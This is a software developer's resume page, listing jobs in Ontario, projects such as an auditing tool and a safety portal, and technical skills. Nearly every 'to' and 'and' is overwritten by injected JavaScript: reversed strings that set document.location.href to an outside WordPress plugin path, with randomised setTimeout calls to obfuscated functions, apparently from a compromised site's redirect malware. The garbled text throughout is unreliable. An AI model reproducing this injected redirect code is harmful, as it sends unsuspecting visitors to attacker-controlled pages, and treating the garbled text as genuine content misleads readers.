Resume

SUMMARY OF QUALIFICATIONS

  • 12 years of software development toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and database design experience, utilizing a wide variety of languages
  • Lead developer on a number of large-scale enterprise applications
  • Continuously learning, experimenting with toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and teaching others advancements in software development toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and technology
  • Team player who is able toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to both lead toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and contribute toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to planning, implementation toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and maintenance stages of projects

TECHNICAL CAPABILITIES
ASP .Net, C#, Visual Basic, HTML/CSS, JavaScript, Java, C/C++, Ruby, Clojure, Lisp, SQL Server, SQLite, mySQL, PostgreSQL, Sybase SQL Anywhere, OpenGL, PHP, Microsoft Access, Corel Paradox, Subversion, Git, Mercurial

EXPERIENCE
Senior Software Developer | MLD Solutions Inc.
July 2013 toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Present | London, Ontario

  • Responsible for custoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomer communication, design, implementation toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and maintenance
  • Mentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor young development team by introducing them toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to SOLID design principles, autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomated testing toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and agile methodologies
  • Technologies: ASP.NET (Web Forms toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and MVC), SQL Server, Dev Express

Senior Software Developer | Creative Options/Protiviti Inc.
August 2004 toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to June 2013 | Waterloo, Ontario

  • Responsible for spec review, architecture design, implementation, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and maintenance
  • Improved team's overall code quality by performing regular code reviews toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and ensuring team members follow best practices such as autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomated testing toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and refactoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toring
  • Introduced toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and implemented agile methodologies such as Scrum toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Kanban toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to various teams within the organization
  • Involved in recruiting toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and interviewing for various developer, quality assurance toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and analyst positions
  • Responsible for investigating new toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tools toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and technologies toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and bringing them intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the team
  • Gained experience working with distributed teams (Argentina, Chicago, Waterloo)
Intelligence Portal

  • A web-based data collection toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and reporting toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tool that allows clients toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to view, analyze toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and improve upon Occupational Health toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Safety, Risk, Regulatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Fleet Compliance
  • Used by 230,000 users worldwide
  • Features: custoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom user dashboards, reporting, employee training, document library, autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomated notifications, meeting entry toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and compliance, risk rating profiles for employees toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and locations, importing client data feeds, integration with Compas, etc...
  • Technologies: ASP.NET MVC, WCF, SQL Server 2008, Dev Express
Compas

  • A flexible web toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and PC-based auditing toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tool
  • Features: data entry, reporting, custoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom user dashboards, targetted communications, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and administrative functionality
  • Includes a web application, windows desktoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top application, mobile web application toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and a Pocket PC application
  • Htoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andles importing client data feeds toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and integrating with other client applications (via web services)
  • Technologies: ASP.NET Web Forms, .Net Windows Forms, SQL Server 2008, SQLite, .Net Compact Framework
toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom applications" target="_blank">Other custoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom applications

  • Various applications covering areas such as safety training, employee certification, accident reduction, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and meeting entry toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and compliance.
  • Built with ASP.NET Web Forms toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Sql Server

Software Developer / Database Designer | Concordia Club
May 2002 toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to July 2004 | Kitchener, Ontario

  • Designed, developed, implemented toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and maintained two projects: a membership application toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and a ticket sales tracking application
  • The membership application kept track of member achievements, club status toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and fee payments
  • The POS application used for selling Oktoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toberfest tickets htoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andled purchases, returns, remaining ticket inventoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and custoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom reporting
  • Both applications were developed using Corel Paradox toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and the ObjectPal language

Database Developer | Wilfrid Laurier University
April 2002 toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to August 2002 | Waterloo, Ontario

  • Assisted a professor with their research project by importing stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock market data from different sources intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a SQL Server database toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and writing reports against it

COMMUNITY INVOLVEMENT
Peer-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-Peer Champion, Agile/Lean | Communitech
2010 toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 2013 | Waterloo, Ontario

  • User group devoted toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to helping others in the community learn about Agile toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Lean principles
  • Responsible for facilitating monthly meetings, recruiting new members, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and providing insight toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and direction on future toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}topics toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and speakers

Project Manager/Technical Lead - IT Consulting toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Development Team | Wilfrid Laurier University
Summer 2001 toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Summer 2003 | Waterloo, Ontario

  • Led a team of student developers in providing technical consulting toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and development toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to various local organizations on a volunteer basis
  • Mentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tored student developers in technical troubleshooting toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and development of various internet-based applications

SAMPLE CODE

ScoreKeeper

  • Allows a user toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to keep track of scores in various types of round/period based games.
  • Motivation for this application was toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to explore the jQuery Mobile framework toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to experiment with Behaviour Driven Development
Status Board

